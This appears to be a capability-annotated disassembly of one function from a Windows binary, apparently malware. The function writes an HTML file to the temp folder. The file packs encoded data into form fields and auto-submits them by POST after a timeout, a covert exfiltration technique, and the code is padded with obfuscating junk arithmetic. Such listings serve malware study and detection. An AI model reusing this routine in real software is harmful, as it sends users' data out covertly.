Function at 0x409b55
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2003c
call fcn.0040c214
push ebx
push esi
push edi
mov esi, 0x41587e33
mov eax, esi
add eax, esi
mov esi, eax
and dword [ebp - 0x1000c], 0
and dword [ebp - 0x20014], 0
mov eax, esi
mul esi
mov dword [ebp - 0x20020], eax
mov esi, eax
lea eax, [ebp - 0x10004]
push eax
push dword [ebp + 0xc]
call fcn.00406d69
add esp, 8
mov ebx, eax
or ebx, ebx
jne 0x409ba9
xor eax, eax
jmp 0x409f80
cmp dword [ebp - 0x10004], 0
jne 0x409bbf
push ebx
call sub.KERN_LocalFree
xor eax, eax
jmp 0x409f80
push dword [ebp + 0x14]
call sub.KERN_lstrlenA
mov dword [ebp - 0x20024], eax
mov eax, 0x19
mul dword [ebp - 0x10004]
mov dword [ebp - 0x20028], eax
mov edi, dword [ebp - 0x20024]
imul edi, dword [ebp - 0x20024], 0x32
mov edx, dword [ebp - 0x20028]
lea edi, [edx + edi + 0x400]
push edi
push 0x40
call sub.KERN_LocalAlloc
mov dword [ebp - 0x10008], eax
mov eax, 0x88c
mul esi
mov dword [ebp - 0x2002c], eax
mov esi, eax
push dword [ebp + 8]
push 0x104
call sub.KERN_GetTempPathA
add esi, 0x7dda
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20030], eax
mov ecx, eax
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x409c36
mov edi, eax
push 8
mov edx, dword [ebp - 0x20030]
add edx, edi
push edx
call fcn.00401463
add esp, 8
push str..htm
push dword [ebp + 8]
call fcn.0040c7ac
add esp, 8
push dword [ebp + 0x10]
push dword [ebp + 0x24]
push str.xIEPo_ter
push str._HTML__HEAD__TITLE__s_u__TITLE___HEAD__BODY__FORM_action__s__method_POST__name_frm1__
push dword [ebp - 0x10008]
call fcn.0040c788
add esp, 0x14
push 0x42eb90
push dword [ebp + 0x14]
mov eax, dword [ebp - 0x10008]
push eax
push str._s_input_type_edit__value_s_name_s__br__r_n
push eax
call fcn.0040c788
add esp, 0x14
cmp dword [ebp + 0x20], 0
je 0x409db3
mov dword [ebp - 0x20034], 0
jmp 0x409d96
sub esi, 0x7949
mov byte [ebp - 0x10000], 0
and dword [ebp - 0x20038], 0
jmp 0x409d42
mov eax, dword [ebp - 0x20034]
add eax, dword [ebp - 0x20038]
cmp eax, dword [ebp - 0x10004]
jae 0x409d52
sub esi, 0x5b4c
mov edi, dword [ebp - 0x20034]
add edi, dword [ebp - 0x20038]
movzx edi, byte [ebx + edi]
mov eax, edi
mov ecx, 0x1a
cdq
idiv ecx
add edx, 0x61
push edx
mov eax, edi
mov ecx, 0x1a
mov edx, 0x4ec4ec4f
mul edx
shr edx, 3
mov dword [ebp - 0x2003c], edx
mov edi, edx
add edi, 0x61
push edi
lea edi, [ebp - 0x10000]
push edi
push str._s_c_c
lea edi, [ebp - 0x10000]
push edi
call fcn.0040c788
add esp, 0x14
inc dword [ebp - 0x20038]
cmp dword [ebp - 0x20038], 0x80
jb 0x409ccc
push dword [ebp - 0x1000c]
push dword [ebp + 0x18]
lea eax, [ebp - 0x10000]
push eax
mov eax, dword [ebp - 0x10008]
push eax
push str._s_input_type_edit__value_s_name_s_u__br__r_n
push eax
call fcn.0040c788
add esp, 0x18
mov eax, 0x5cf
mul esi
mov dword [ebp - 0x2003c], eax
mov esi, eax
add dword [ebp - 0x20034], 0x80
inc dword [ebp - 0x1000c]
mov eax, dword [ebp - 0x10004]
cmp dword [ebp - 0x20034], eax
jb 0x409cb6
mov dword [ebp - 0x20014], eax
jmp 0x409eee
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x10004], eax
add esi, 0x2b36
jmp 0x409eca
cmp byte [ebp - 0x10000], 0
je 0x409eca
add esi, 0x224e
mov eax, dword [ebp + 0x1c]
add eax, 0xc800
cmp dword [ebp - 0x10004], eax
jae 0x409eee
mov eax, dword [ebp - 0x10004]
mov dword [ebp - 0x20014], eax
mov eax, dword [ebp + 0x18]
cmp byte [eax], 0x69
je 0x409e7c
cmp byte [eax + 1], 0x70
je 0x409e7c
cmp byte [eax + 2], 0
je 0x409e7c
push dword [ebp + 0x14]
push 0x42eb59
lea eax, [ebp - 0x20010]
push eax
call fcn.0040c788
add esp, 0xc
sub esi, 0x5276
lea ecx, [ebp - 0x20010]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x409e34
mov edi, eax
mov word [ebp - 0x20016], di
lea eax, [ebp - 0x10000]
push eax
movzx eax, word [ebp - 0x20016]
lea eax, [ebp + eax - 0x20010]
push eax
call fcn.0040c234
add esi, 0xfdc
lea eax, [ebp - 0x20010]
push eax
call fcn.00409a7f
add esp, 4
mov dword [ebp - 0x10010], eax
jmp 0x409e8f
lea eax, [ebp - 0x10000]
push eax
call fcn.00409a7f
pop ecx
mov dword [ebp - 0x10010], eax
push dword [ebp - 0x1000c]
push dword [ebp + 0x18]
push dword [ebp - 0x10010]
mov eax, dword [ebp - 0x10008]
push eax
push str._s_input_type_edit__value_s_name_s_u__br__r_n
push eax
call fcn.0040c788
add esp, 0x18
mov eax, esi
add eax, esi
mov esi, eax
push dword [ebp - 0x10010]
call sub.KERN_LocalFree
inc dword [ebp - 0x1000c]
lea eax, [ebp - 0x10000]
push eax
push dword [ebp - 0x10004]
push ebx
call fcn.004099bc
add esp, 0xc
mov dword [ebp - 0x10004], eax
or eax, eax
jne 0x409dc7
push str._input_type_submit__value___FORM__script_function_qqw__document.frm1.submit___setTimeout__qqw____10000____script___BODY___HTML_
push dword [ebp - 0x10008]
call fcn.0040c7ac
add esp, 8
mov eax, esi
sub eax, esi
mov esi, eax
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call sub.KERN_CreateFileA
mov dword [ebp - 0x2001c], eax
push dword [ebp - 0x10008]
call sub.KERN_lstrlenA
push 0
lea edi, [ebp - 0x1000c]
push edi
push eax
push dword [ebp - 0x10008]
push dword [ebp - 0x2001c]
call sub.KERN_WriteFile
mov eax, esi
sub eax, esi
mov esi, eax
push dword [ebp - 0x2001c]
call sub.KERN_CloseHandle
push dword [ebp - 0x10008]
call sub.KERN_LocalFree
mov eax, esi
add eax, esi
mov esi, eax
push ebx
call sub.KERN_LocalFree
mov eax, dword [ebp - 0x20014]
jmp 0x409f80
pop edi
pop esi
pop ebx
leave
ret